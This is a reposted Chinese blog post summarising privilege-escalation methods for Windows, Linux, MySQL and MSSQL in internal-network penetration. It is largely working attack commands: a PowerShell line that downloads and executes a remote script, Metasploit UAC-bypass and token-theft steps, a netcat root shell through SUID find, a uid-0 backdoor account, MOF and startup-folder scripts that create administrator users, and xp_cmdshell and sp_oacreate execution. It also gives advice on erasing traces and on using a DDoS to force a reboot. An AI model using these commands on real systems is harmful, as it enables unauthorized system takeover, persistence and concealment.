0


内网渗透常用提权方式总结

文章目录


前言

内网菜鸡艰难学习,希望一样的菜鸡能看到并且能看的懂学的快一点吧。


内网提权的常用方法

常用的提权方法:
1.系统内核溢出提权
2.数据库提权
3.错误的系统配置提权
4.组策略首选项提权
5.DLL劫持提权
6.滥用高权限令牌提权
7.第三方软件/服务提权

一、Windows系统内核溢出漏洞提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。

利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。

拿到一个普通shell后可以尝试MSF的getsystem,虽然基本成功不了。

1.手动查找系统潜在漏洞

获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:

systeminfo或wmic qfe get caption,description,hotfixid,installedon

在这里插入图片描述
在这里插入图片描述
然后借助提权辅助站点如https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp

2.使用Windows-Exploit-Suggester

1 ./windows-exploit-suggester.py --update
2 使用systeminfo获取系统信息,将其保存,如test.txt
3 ./windows-exploit-suggester.py --database 2021-05-28-mssb.xls --systeminfo test.txt

3.使用sherlock 脚本

1 输入Import-Module .\Sherlock.ps1导入脚本
2 输入Find-AllVulns 扫描

4.还可以用msf的enum_patches模块

执行命令

use multi/handler
use post/windows/gather/enum_patches 
show options 
setSESSION

5.还有msf的local_exploit_suggester模块

执行命令

use post/multi/recon/local_exploit_suggester 
set session 1
run

二.系统服务权限配置错误

windows操作系统中的常见配置错误包括:
1.管理员凭证配置错误
2.服务配置错误
3.故意削弱的安全措施
4.用户权限过高

windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务。
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务。
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权。

1.使用PowerUP脚本

使用方法:
1.Import-Module .\1.ps1 导入模块

2.Invoke-AllChecks 查询服务

3.根据提示输入语句即可

另外提供了多种使用方式

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

2.msf(service_permissions)模块

使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。

exploit/windows/local/service_permissions
show options
set session 2

3.注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件

反正网上提供这种方式,我只在2000成功过,高一点版本我成功不了

4.可信任服务路径漏洞

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如,有如下的文件路径:

C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program
C:\Program Files (x86)\Razer
C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe

(PS:老版本可以通过路径上有无“ ”来判断是否可操作)

此时如果在C盘传入program.exe文件,则会执行这个文件,以此类推。
操作步骤
1.执行wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\” 探测符合条件的服务
2.确认该目录是否可写
3.重启服务

sc stop service_name
sc start service_name 

msf对应trusted_service_path模块(网上说不是提权了是其他的任意执行)我这种菜鸡暂时没感觉到差别,能提权就行。

5.自动配置文件

域的好处之一就是可以统一配置多台服务器,网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。

在这个过程中,会使用安装配置文件。

这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。

搜索文件名为sysprep或unattend,后缀为.inf、.xml、inf的文件,如dir /b /s C:\Unattend.xml

msf对应post/windows/gather/enum_unattend模块

6.计划任务

Windows 计划任务程序 是定义为触发器执行操作。

查看本机计划任务

schtasks /query /fo LIST /v 

在大多数情况下,计划任务是以 NT Authority\System 高权限执行的。

因此,如果计划任务要执行的是一个二进制,而且二进制文件可以用任意一个二进制文件覆盖,则可能会导致特权提升。
我没那个本事玩,只能靠msf这个样子。

7.绕过UAC提权

详情请见谢公子的绕过UAC提权那一章

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。

需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹

使用MSF下的Bypass模块

use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection  #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

MSF中Bypassuac模块的使用前提有两个:

一是系统当前用户必须在管理员组中,
二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。

use exploit/windows/local/bypassuac
set session 1set lhost 0.0.0.0          
set lport 24444#本地监听的端口,随便设置一个未被占用的端口即可
exploit

8.一些其他模块

msf(ask)模块
使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。

Nishang中的Invoke-PsUACme模块
Empire中的bypassuac(_wscript)模块

三、令牌窃取

1.直接获取

访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

假设MSF已经获得shell
可以进入模块

use incognito           #进入incognito模块
list_tokens -u          #列出令牌

可以看到两种令牌

Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。 

用此命令假冒用户获得权限

impersonate_token "NT AUTHORITY\\SYSTEM"

2.烂土豆提权

使用msf的ms16-075

use exploit/windows/local/ms16_075_reflection
show options
set session 1
exploit

下载上传https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

然后跟上边的令牌窃取一个意思,就是上传完exe之后执行,再去获得令牌。

use incognito  //枚举有哪些用户的进程,一般有用户和system用户
list_tokens -u
execute -cH -f ./rottenpotato.exe  //上传rottenpotato.exe并执行提权
impersonate_token “NT AUTHORITY\\SYSTEM”

3.无凭证下的权限提升

https://blog.csdn.net/whatday/article/details/107698144
参考这篇文章吧,我是废物。

四、linux系统提权

参考链接参考渗透测试中的提权思路(详细!)
信息收集的一些命令

uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux |grep root
//aux都是参数a = show processes for all users 显示所有用户的进程u = display the process's user/owner 显示用户x = also show processes not attached to a terminal 显示无控制终端的进程

!!!!!注意如过上传了文件什么的可以增加一条命令chmod 777 ,需要进行编译的先进行编译
提权完可以添加ssh用户useradd -o -u 0 -g 0 username

1.内核漏洞提权

先拿到shell之后通过信息收集方式得知linux内核版本使用searchspolit搜索相应版本漏洞
列入搜索

searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10

找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget http://127.0.0.1/xx.c
编译,gcc xxx.c -o exp

2.脏牛内核提权

利用只读文件映射区域写数据时,会使用get_user_page内核函数处理产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,但这里通过条件竞争就能使其任务执行顺序异常,就会成功的写到原来的文件中。比如我们修改su或者passwd程序就可以达到提权root的目的
先查看内核版本

uname -a查看内核版本

Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
https://github.com/FireFart/dirtycow,将C文件编译执行:

gcc -pthread dirty.c -o dirty -lcrypt

//-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现(动态库)
//-o  为编译后输出的文件名
//-l crypt 加载crypt库

./dirty   密码:
//可以直接 ./dirtu 密码

3.suid提权

SUID(设置用户ID)是赋予文件的一种权限,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。已知的可用来提权的linux可行性的文件列表如下:

nmap
vimfindbashmorelessnanocp

首先在本地查找符合条件的文件,有以下三个命令,列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}\;

例如可以找到nmap

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 7806762008-04-08 10:04 /usr/bin/nmap

1.find命令提权

touch xxxx
find xxxx -exec whoami;

由于大多数Linux操作系统都安装了netcat,因此可以将提权后的命令提升为root shell。

find xxxx -exec netcat -lvp 5555 -e /bin/sh ;

监听返回就可以得到一个rootshell

2.nmap提权

较旧版本的nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

先查看版本

nmap -V

方法一:
启动交互模式,使用

nmap --interactive

!sh #执行之后将提供一个提权后的shell。
启动交互模式后可以执行命令列如

nmap> !sh

方法二:
Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap

3.vim提权

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件

vim.tiny /etc/shadow

此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

4.bash提权

以下命令将以root身份打开一个bash shell

bash -p

5.less命令

适用于其他命令

less /etc/passwd
!/bin/sh

6.sudo提权

在Linux中,有时为了让普通用户获得root的执行权限,除了su -永久提权方法,还有一种常用的方法,就是sudo,sudo的工作过程如下:

(1)当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限
(2)确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认
(3)若密码输入成功,则开始执行sudo后续的命令

其实就是

vim /etc/sudoers

进入编辑界面,然后给其他用户增加sudo的执行权限。

五、数据库提权

1.udf提权

udf(user defined function)用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。
在windows2000放在:c:\winnt\system32
mysql版本大于5.1版本,udf.dll文件必须放置在mysql根(通过select @@basedir可知)目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数
引入函数

DROPTABLE udftmp;//为了删除痕迹,把刚刚新建的udftmp表删掉CREATEFUNCTION sys_eval RETURNS STRING SONAME'udf.dll';

执行命令

select sys_eval('cmd command');
下面可以增加用户增加权限之类的

在 sqlmap\udf\mysql\windows目录下存放着lib_mysqludf_sys.dll_
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 lib_mysqludf_sys.dll_ 解码后,再直接利用

执行命令

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

然后将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex

SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c))intodumpfile'C:\\Users\\xxxx\\Desktop\\text.txt';
load_file中的十六进制是C:\\Users\\xxxx\\Desktop\\lib_mysqludf_sys.dll
1.CREATETABLE udftmp (c blob);//新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。2.INSERTINTO udftmp values(unhex('udf文件的16进制格式'));//在udftmp中写入udf文件内容

要删除函数的话:

drop function function_name;
eg:drop function cmdshell;

!!!!!5.1以上都说用ntfs数据流创建lib/plugin文件夹。

2.mof提权

mof文件是mysql数据库的扩展文件,存放在(C:/windows/system32/wbem/mof/nullevt.mof)它的作用是每隔一段时间就会去监控进程创建和死亡,mof当中是一段vbs脚本(基于Visual Basic的脚本语言,简单可行性强,易写成病毒或者整人的代码),通过通过控制vbs脚本让系统执行命令,进行提权。

条件为

windows2003及以下
mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
secure-file-priv=不为null

编写mof文件 text.mof

#pragmanamespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second =5”;
QueryLanguage = “WQL”;};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user text 123/add\”)“;};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;};

然后导入文件

select load_file(“G:/test/nullevt.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

成功执行之后,会在c:/windows/system32/wbem/mof/good/目录下多出个test.mof文件。如果mof文件不能执行,则会在c:/windows/system32/wbem/mof/bad/目录下多出个test.mof文件。

将提权脚本中添加用户命令修改为提升至administrators组:net.exe localgroup administrators text /add,再次上传并导入。为了更高的成功率,我们必须分开两次导入该脚本。第一次为添加用户,第二次对添加的用户进行提权。

添加用户
net.exe user text 123 /add

对添加的用户进行提权
net.exe localgroup administrators text /add

提权成功后清理痕迹

在这里插入图片描述
!!!!!所有读写命令前提是secure-file-priv选项为空

3.mssql提权

获取数据库密码

翻配置文件。conn.asp(asp站点) ,web.config(aspx站点) , db.inc

暴力破解。

sa权限利用
微软的SQL Server在提权过程中往往也会给我们很大帮助,尤其是当找到SA用户的密码时,系统权限就基本到手了

xp_cmdshell
得到SA权限后,我们用的最多的是“xp_cmdshell”这个扩展存储直接执行命令,具体步骤如下:

开启xp_cmdshell
在这里插入图片描述
2.执行命令

exec xp_cmdshell 'whoami'

从SQL Server 2005 开始,xp_cmdshell默认是禁用的,而且执行xp_cmdshell可能会触发安全警报。下面介绍一些其它通过SQL Server 执行系统命令的方法。

sp_oacreate
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。
在这里插入图片描述
执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt'   --执行命令无回显

还有个启动项提权.使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启

createtable a(cmd text);#创建a表,表中只存放一个字段cmd,为text文本insertinto a values("set wshshell=createobject(""wscript.shell"")");insertinto a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)");#添加用户密码,注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!insertinto a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)");#加入administrators组select*from a;查询有没有写入
select*from a intooutfile"C:\\Users\\zth\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs"#把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“\”符号

总结

翻了十几篇文章,我粘合怪一个,碰到相似内容别喷我。

第三方提权啥的我是还没怎么学习,

不少部分是参考这个渗透测试提权指南
后面的我实在不行了,建议参考信安之路的文章


本文转载自: https://blog.csdn.net/j1044957016/article/details/125071983
版权归原作者 君倾辞兮 所有, 如有侵权,请联系我们删除。

“内网渗透常用提权方式总结”的评论:

还没有评论